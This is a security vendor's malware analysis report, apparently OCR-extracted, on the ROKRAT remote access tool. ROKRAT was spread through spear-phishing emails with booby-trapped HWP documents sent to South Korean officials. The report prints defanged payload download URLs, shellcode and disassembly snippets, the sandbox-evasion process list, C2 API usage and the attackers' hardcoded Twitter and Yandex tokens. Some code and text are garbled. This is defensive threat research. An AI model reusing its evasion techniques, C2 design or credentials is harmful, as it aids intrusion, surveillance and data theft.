

INTRODUCING

A sophisticated malware campaign targeting South Korean government officials involved in reunification

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EXECUTIVE SUMMARY

Talos is tracking an actor that uses malicious documents using the Korean language in order to compromise systems. This actor is quick to cover their tracks and very quickly cleaned up compromised hosts used as Command and Control. We finally identified a new campaign, leveraging a malicious Hangul Word Processor (HWP) document. After analyzing the payload, we determined the malware was a Remote Administration Tool which we have named, **ROKRAT**.

This campaign started with a spear phishing email containing a malicious attachment, the HWP document. One of the identified emails was sent from the email server of Yonsei, a private university in Seoul. The address used in the email was 'kgf2016@yonsei.ac.kr' which is the contact email of the Korea Global Forum where the slogan in 2016 was "Peace and Unification of the Korean Peninsula" which gave more credit and legitimacy to the email.

The HWP document contained an embedded Encapsulated PostScript (EPS) object. This is zlib compressed and trivial to obtain. The purpose of the EPS is to exploit a well-known vulnerability (CVE-2013-0808) to download a binary disguised as a .jpg file. This file is decoded and finally an executable is launched, ROKRAT. This RAT has the added complexity that the command and control servers are legitimate websites. The malware uses Twitter and two cloud platforms, Yandex and Mediafire, apparently for both C2 communications and exfiltration platforms. Unfortunately, these platforms are difficult to block globally within organizations as their use can be viewed as legitimate in most cases. Additionally, these 3 platforms all make use of HTTPS connectivity making it much more difficult to identify specific patterns or the usage of specific tokens.

SPEAR PHISHING CAMPAIGN


At right are examples of the emails used against victims in South Korea.

The first email Talos discovered was the most interesting. In this first sample, we observed the attackers praising the user for accepting to join a panel relating to the "Korean Reunification and North Korean Conference". The text in the email explains that the receiver should complete the document to provide necessary feedback. However, this appears to be a fake conference. The closest match we identified to any Unification conference was held in January 2017 which was the NYDA Reunification conference. The sender is 'kgf2016@ yonsei.ac.kr' which is the contact email of the Korea Global Forum.

When we analyzed the email headers we were able to determine the Sender IP was 165.132.10.103. With a little magic from 'nslookup', we quickly determined this to be part of the Yonsei University network, the SMTP server in fact. We believe that the email address was compromised and abused by the attackers to send the email used in this campaign.

The sample filename translates as 'Unification North Korea Conference _ Examination Documents' which reinforces the text in the email about the reunification conference. For an added bonus, the attacker even suggests in the email that people who completed the document would get paid a 'small fee'. Perhaps the gift of embedded malware is the payment.

The second email Talos analyzed had less effort applied. The email was from a free Korean mail service provided by Daum, Hanmail, showing there was no attempt at trying to appear to be from an official body or person compared with the previous email. The subject was merely 'Request Help' while the attachment filename was 'I'm a munchon person in Gangwon-do, North Korea'.





Examples of the emails used against victims in South Korea.

We suspect the attacker is hoping the victim will feel empathetic toward the sender as the Kangwon Province (where Munch'ŏn is located) was previously part of South Korea. The attachment contains a story about a person called 'Ewing Kim' who is looking for help.

The email's attachments are two different HWP documents that were both leveraging same vulnerability, CVE-2013-0808.

MALICIOUS HWP DOCUMENT

An HWP document is composed by OLE objects. In this case, it contains an EPS object named BIN0001.eps. As with all HWP documents the information is zlib compressed so you must decompress the .eps to get the true shellcode.

user@lnx\$ oledump .	py 183be2035d5a546670d2b9deeca4eb59
1: 497 '\x05Hwp	SummaryInformation'
2: 2708 'BinData	/BIN0001.eps'
	t/Section0'
4: 265 'BodyTex	t/Section1'
5: 3202 'DocInfo	
	ons/_LinkDoc'
7: 256 'FileHea	der'
8: 2866 'PrvImag	le'
9: 1380 'PrvText	
	/DefaultJScript'
11: 13 'Scripts	/JScriptVersion'

The shellcode used to exploit the CVE-2013-0808 can be identified in the EPS object:

An interesting thing is that the shellcode does not start with a 'normal' NOP sled using 0x90 but with 0x0404 (add al, 0x4):

pop esi	user@lnx\$ rasm2 - add al, 0x4 add al, 0x4 add al, 0x4 add al, 0x4 add al, 0x4 nop nop nop nop nop nop nop nop nop nop	d 040404040404040404909090909090909090909
pop esi		

The purpose of the shellcode embedded in the 2 HWP documents is to download and to decode a payload available on the Internet. Once decoded, the file (a PE32) is executed; here is the extracted URL which the document attempts to download the .jpg from:

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 신청자 정보 이름 제목 	한반도	신경제님		* .	÷	
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SHA256: 7d163e36f47ec56c9fe08d758a0770f177 8fa30af68f39aac80441a3f037761e

Filename: 통일북한학술대회_심사서ㄹ.hwp ("North Korea Conference _ Examination Documents")

URL: http://discgolfglow[.]com:/wp-content/plugi ns/maintenance/images/worker.jpg

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	사연얘기 문자니 무엇부터 써야하는지 물론겠어요.		
	중국에 오기 전에는 학교 졸업후 군대나강영어요		
	제가 중학교 졸업 할때는 2000년도 이때 조선에는		
	때 학교에 탄국 진승 통격대에 많은 종업생들을 내보냈어요.		
	집안이 힘 있으면 다른 데로 빼돌리지만 그렇지 못하면		
	오두가두 못하고 뽑혀나가게 되 죠 말로는 당과 조국을 위해서라지만		
	실세로 충성심이라는 세글자 를 내세운 세 거기서 도망기면		
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	하나밖에 없는 말 탄광이나 올격대에 내보내지 않을 려고		
AA15410/982825	CALIFICATION PROVIDE AN		

SHA256: 5441f45df22af63498c63a49aae8206508 6964f9067cfa75987951831017bd4f

Filename: 저는요 북조선 강원도 문천 사람이에요.hwp ("I'm a munchon person from Gangwon Province in North Korea.")

URL: http://acddesigns[.]com[.]au/clients/ ACPRCM/kingstone.jpg

ROKRAT ANALYSIS

The RAT downloaded by the 2 HWP documents belong to the same family. The main difference between the samples are the Command and Control capabilities. One of the samples analyzed only uses Twitter to interact with the RAT while the second one uses Twitter as well as the cloud platforms: Yandex and Mediafire. The Twitter tokens we were able to extract are the same in both variants. There is obvious ongoing effort to add features to this RAT to allow for more sophisticated levels of attacks.

ANALYSIS FRUSTRATIONS!

The ROKRAT author implements several techniques typically seen to frustrate human analysts and avoid sandbox execution.

First, the malware does not run on Windows XP systems. It uses the GetVersion() API to get the OS version. If the MajorVersion is 5 (corresponding to Windows XP or Windows Server 2003), the malware executes an infinite loop of sleep, as shown in FIGURE A.


Additionally, the malware checks the current running processes in order to identify tools usually used by malware analysts or within sandbox environments. FIGURE B shows the code used to perform this task.


The malware checks the process names in use on the victim machine. It compares if the executed process name matches a partial name hardcoded in the sample. Here is the complete list:

- "mtool" for VMWare Tools
- "Ilyd" for OllyDBG
- "ython" for Python (used by Cuckoo Sandbox for example)
- "ilemo" for File Monitor
- "egmon" for Registry Monitor
- "peid" for PEiD

- "rocex" for Process Explorer
- **"vbox"** for VirtualBox
- "iddler" for Fiddler
- "ortmo" for Portmon
- **"iresha"** for Wireshark
- "rocmo" for Process Monitor
- "utoru" for Autoruns
- "cpvie" for TCPView

FIGURE A





If any of these processes are discovered running on the system during this phase of execution, the malware jumps to a fake function which generates dummy HTTP traffic. Furthermore, we discovered that if the malware is being debugged or if it was not executed from the HWP document (i.e. double clicking the binary), or if the OpenProcess() function succeed on the parent process the fake function is called as well.

The purpose of this appears to be to generate network traffic to provide some level of feedback/discovery during any dynamic analysis research. This could generate a seemingly 'good' indicator of compromise when in fact it is merely fake traffic generated. The fake function performs connections to the following URLs:


https://www[.]amazon[.]com/Men-War-PC/dp/B001QZGVEC/EsoftTeam/watchcom.jpg

http://www[.]hulu[.]com/watch/559035/episode3.mp4

104.119.137.206	HTTP	117 GET lwatch/SSQOBS/episodeB.mp4 HTTP/1.1
104.119.137.206	HTTP	128 GET lwatch/SSQOBS HTTP/1.1
104.119.137.206	HTTP	117 GET lwatch/SSQOBS/episodeB.mp4 HTTP/1.1
104.119.137.206	HTTP	128 GET lwatch/SSQOBS HTTP/1.1
104.119.137.206	HTTP	117 GET lwatch/SSQOBS/episodeB.mp4 HTTP/1.1
104.119.137.206	HTTP	128 GET lwatch/SSQOBS HTTP/1.1
104.119.137.206	HTTP	117 GET lwatch/SSQOBS/episodeB.mp4 HTTP/1.1
104.119.137.206	HTTP	128 GET lwatch/SSQOBS HTTP/1.1
104.119.137.206	HTTP	117 GET lwatch/SSQOBS/episodeB.mp4 HTTP/1.1
104.119.137.206	HTTP	128 GET lwatch/SSQOBS HTTP/1.1
104.119.137.206	HTTP	117 GET lwatch/SSQOBS/episodeB.mp4 HTTP/1.1
104.119.137.206	HTTP	128 GET lwatch/SSQOBS HTTP/1.1

The Amazon URL displays a WWII game called 'Men of War' whilst the Hulu URL attempts to stream a Japanese anime show called 'Golden Time'.

These URLs are not malicious; the malware pretends to navigate these locations. The files do not exist during the investigation and were downloaded only if a malware analyst tool is running on the system. We believe these URLs are used to attempt to trick any analysis.



Japanese anime show 'Golden Time', shown on Hulu

C&C INFRASTRUCTURE

ROKRAT uses a legitimate platform in order to communicate, receive orders and exfiltrate documents. In total, we identified 12 hardcoded tokens used to communicate to these legitimate platforms all via their public APIs.

CC #1: TWITTER:

The first CC discovered is Twitter. We identified 7 different Twitter API tokens hardcoded in the sample (Consumer Key + Consumer Secret + Token + Token Secret). The malware is able to get orders by checking the last message on the Twitter timeline. The order can be either execute commands, move a file, remove a file, kill a process, download, and execute a file. The RAT is able to tweet also and the sent data is randomly prefixed by one following 3 characters hardcoded word:

SHA-TOM-BRN-JMS-ROC-JAN-PED-JHN-KIM-LEE-

To perform these tasks, the malware uses the official Twitter API, as seen in FIGURE C.

CC #2: YANDEX:

The second CC is Yandex and more specifically the Yandex cloud platform and the platform allows the creation of disks in the Yandex cloud. Concerning this CC, we identified 4 Yandex tokens hardcoded in the sample. The API in FIGURE D is used to download and execute files or to upload stolen documents. The exfiltrated documents are uploaded to:

disk:/12ABCDEF/Document/ Doc20170330120000.tfs

Where "12ABCDEF" is a random hexadecimal ID to identify the target and Doc20170330120000 contains the date.

FIGURE C				
sub_F4C608	mov ecx, off call sub_E442	Api_twitter_co ; ' set TwitterState	F: .rdata:80F4F4381 'api.twitter.com/1.1 (cdecl *)()	
;	S U B R O U T	I N E		
sub_F4C6D3 sub_F4C6D3	push offset T push offset u call sub_E460	DSearchTweets ; "So TwitterState UNK_FA8C44 USB Sub_F4DBSD ; void (u
;	S U B R B U T	I N E		
sub_F406F5 sub_F406F5	push offset I push offset u call sub_E46B	ASLATUSESUPDATE ; ' WitterState UNK_FA8C98 338 SUN_F4DD4E ; void (a
sub_F4C6F5	call sub_E46B push offset s call atexit add esp, 10h retn	338 sub_F4DB4E ; void ((cdecl ×)	0

FIGURE D

loc E4E2DE:		; CODE XREF: sub E4E2AB+2ATj
25.0	push	ebx
	lea	eax, [edi+180h]
	push	Pax
	lea	eax, [ebp+154h+var_1CC]
	push	offset aAuthorizationU ; "Authorization: UAuth %s"
	push	eax ; char *
	xor	ebx, ebx
	call	sprintf
	lea	eax, [ebp+154h+var 100]
	push	eax ; char *
	push	ebx ; int
	call	SUD LOCDE
	add	esi, 1ACh
	push	esi
	push	offset aV1DiskResource ; "/v1/disk/resources/?"
	push	offset aHttpsCloudApi ; "https://cloud-api.yandex.net"
	mov	[ebp+154h+var_104], eax
	lea	eax, [ebp+154h+var GC]
	push	offset aSSpathS : "%s%spath=%s"
	push	eax ; char *
	call	sprintf
	push	offset aPut_0 ; "PUT"
	push	2734h
	push	dword ptr [edi+298h]

FIGURE E

sub_F4C608	proc near ; DATA XREF: .rdata:88F4F43810
100 100 100 100 100 100 100 100 100 100	push offset aApi twitter co ; "api.twitter.com/1.1/"
	mov ecx, offset lwitterState
	call sub E442B4
	push offset sub F4DB3F ; void (cdecl *)()
	call atexit
Thorpo	retn
sub_F4C688	endp
;	S U B R O U T I N E
sub F4C6D3	proc near ; DATA XREF: .rdata:00F4F43C10
	push offset aSearchTweets ; "search/tweets"
	nush offset TwitterState
	push offset unk FA8C44
	call sub L46038
	push offset sub F40B5D ; void (cdecl *)()
	call _atexit
	add esp, 10h
	retn
sub_F4C6D3	endp
;	S U B R D U T I N E
sub F4C6F5	proc near ; DATA XREF: .rdata:80F4F44810
100 00 - Contraction (100 000)	push offset aStatusesUpdate ; "statuses/update"
	push offset lwitterState
	push offset unk FA8C98
	call sub E46B38
	push offset sub F4DR4E ; void (cdecl *)()
	call atexit
	add esp. 10h
sub F4C6F5	retn endp

FIGURE F

E8	33	F9	OD.	88		call	GdiplusStartup
8B	30	80	F2	F4	88	nou	edi, ds:GetSystemMetrics
56						push	esi : nIndex
FF	D7					call	edi : GetSystemMetrics
53						push	ebx ; nIndex
89	44	24	18			nou	[esp+30h+var 18], eax
FF	D7					call	edi ; GetSystemMetrics
88	10	90	F2	F4	00	nov	ebx, ds:GetDC
89	44	24	18			nou	[esp+2Ch+cy], eax

						10C_E4	F947:		hdc
56						push	esi		
	15	30	FØ	F4	88	call	ds:CreateConpa	tib	leDC
FF	74	24	10			push	[esp+2Ch+cy]		CU
88	E8					nov	ebp, eax		
FF	74	24	18			push	[esp+30h+var_1	81	: CX
56						push	esi	1	hWnd
FF	D3					call	ebx ; GetDC		
50						push	eax		hdc
FF	15	48	FØ	F4	88	call.	ds:CreateCompa	tib	leBitmap
88	F8					ROV	edi, eax		
57						push	edi		h
55						push	ebp		hdc
FF	15	38	FØ	F4	88	call	ds:SelectObjec	t	
68	20	00	CC	00		push	0CC 0 02 0h		rop
56						push	esi		¥1
56						push	esi		x1
56						push	esi	- 1	hWnd
FF	D3					call	ebx : GetDC		
50						push	eax	1.1	hdeSre
FF	74	24	28			push	[esp+3Ch+cy]		cy
FF	74	24	28			push	[esp+40h+var 1	81	: CX
56						push	esi	1	y
56						push	esi	- 1	x
55						push	ebp	- 1	hdc
FF	15	30	FØ	F4	88	call	ds:BitBlt	- 1	

CC #3: MEDIAFIRE:

The last cloud platform used by the Remote Administration Tool is Mediafire. This website is used in the same way as Yandex with the purpose being to use the file storage provided by Mediafire in order to download and execute files or to upload stolen information. See FIGURE E.

In this case, the malware author hardcoded one account in the sample (email / password / application ID).

ADDITIONAL FEATURES: SCREENSHOTS CAPTURE & KEYLOGGER

Additionally, one of the samples is able to capture screenshots of the infected system. To perform this task, the developer used the GDI API, as shown in FIGURE F.

A keylogger is also present in the analyzed sample. The SetWindowsHookEx() API is used to retrieve the stroked keys and the GetKeyNameText() API is used to retrieve a string that represents the name of a key. In addition to the key, the title of the foreground window is stored in order to known where the infected user is typing (by using the GetForegroundWindow() and GetWindowText() API). See FIGURE G.

FIGURE G

┛	1	-					
						loc E4F	F694: ; relyze_GetForegroundWin
FF	15	88	F2	E4	00	call	ds:GetForegroundWindow
	F4					push	1F4h : nHaxCount
80	4D	AB				lea	ecx, [ebp+588h+Str2]
51						push	ecx : 1pString
50						push	eax : hWnd
		84	F2	E4	00	call	ds:GetWindowTextA ; relyze GetWindowTextA
80	45	AB	-			lea	eax, [ebp+580h+Str2]
50						push	eax ; Str2
68	F8	82	FR	88		push	offset Str1 ; Str1
E8	92	18	88	88		call	nbsicnp
59						pop	ecx
59						pop	ecx
	CO					test	eax, eax
74	50					jz	short loc E4F71B

CONCLUSION

This campaign shows us a motivated malware actor. The usage of HWP (an application mainly used in Korea) and the fact that emails and documents are perfectly written in Korean suggests that the author is a native Korean speaker.

The RAT used during this campaign was innovative, using novel communication channels. ROKRAT uses Twitter and two cloud platforms (Yandex and Mediafire) in order to give orders, send files, and get files. This communication channel is extremely hard to contain because organizations often have legitimate uses of these platforms. The malware includes exotic features such as the fact that it performs requests to legitimate websites (Amazon and Hulu) if the sample is executed in a sandbox or if a malware analyst tool is used. We assume the goal is to generate incorrect reports and IOC.

This investigation shows us once again that South Korean interests sophisticated threat actors. In this specific case, the actor compromised a legitimate email address of a big forum organized by a university in Seoul in order to forge the spear phishing email, which increased the chance of success. We know that it was a success because during our research we identified infected systems communicating with the command & control previously mentioned.

COVERAGE

Additional ways our customers can detect and block this threat are listed below.

PROTECTION
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Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

CWS or **WSA** web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

The Network Security protection of IPS and NGFW have up-to-date signatures to detect malicious network activity by threat actors.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network

IOCS

FILES HASHES

HWP Documents:

- 7d163e36f47ec56c9fe08d
 758a0770f1778fa30af68f
 39aac80441a3f037761e
- 5441f45df22af63498c63a
 49aae82065086964f9067
 cfa75987951831017bd4f

ROKRAT PE32:

- cd166565ce09ef410c5bba
 40bad0b49441af6cfb487
 72e7e4a9de3d646b4851c
- 051463a14767c6477b6da
 cd639f30a8a5b9e126ff31
 532b58fc29c8364604d00

NETWORKS

Malicious URLs:

- http://discgolfglow[.]com: /wp-content/plugins/ maintenance/images/ worker.jpg
- http://acddesigns.com[.]au/ clients/ACPRCM/ kingstone.jpg

Not malicious URLs but could be use to identify RAT execution:

https://www[.]amazon[.]com/ Men-War-PC/dp/B001QZGVEC /EsoftTeam/watchcom.jpg

http://www[.]hulu[.]com/ watch/559035/episode3.mp4

TOKENS

MEDIAFIRE

Account #1 Username: ksy182824@gmail.com Application ID: 81342

TWITTER

Account #1

Consumer key: sOPcUKjJteYrg8klXC4XUlk9l Token: 722226174008315904-u6P1FlI7IDg8VIYe720X0gqDYcAMQAR

Account #2

Consumer key: sgpalyF1KukVKaPAePb3EGeMT Token: 759577633630593029-CQzXMfvsQ2RztFYawUPeVbAzcSnwllX

Account #3

Consumer key: XVvauoXKfnAUm2qdR1nNEZqkN Token: 752302142474051585-r2TH1Dk8tU5TetUyfnw9c5OgA1popTj

Account #4

Consumer key: U1AoCSLLHxfeDbtxRXVgj7y00 Token: 779546496603561984-Qm8CknTvS4nKxW0B4tJvbtBUMBfNCKE

Account #5

Consumer key: 9ndXAB6UcxhQVoBAkEKnwzt4C Token: 777852155245080576-H0kXYcQCpV6qiFER38h3wS1tBFdROcQ

Account #6

Consumer key: QCDXTaOCPBQM4VZigrRj2CnJi Token: 775849572124307457-4ICTjYmOfAy5MX2FxUHVdUfqeNTYYqj

Account #7

Consumer key: 2DQ8GqKhDWp55XII77Es9oFRV Token: 778855419785154560-0YUVZtZjKblo2gTGWKiNF67ROwS9MMq

Yandex

Token #1: AQAAAAAYm4qtAANss-XFfX3FjU8VmVR76k4aMA0 Token #2: AQAAAAA8uDKAANxExojbqps-UOli8kc8EAhcq8 Token #3: AQAAAAAY9j8KAANyULDuYU1240rjvpNXcRdF5Tw Token #4: AQAAAAAZDPB1AAN6l1Ht3ctALU1flix57TvuMa4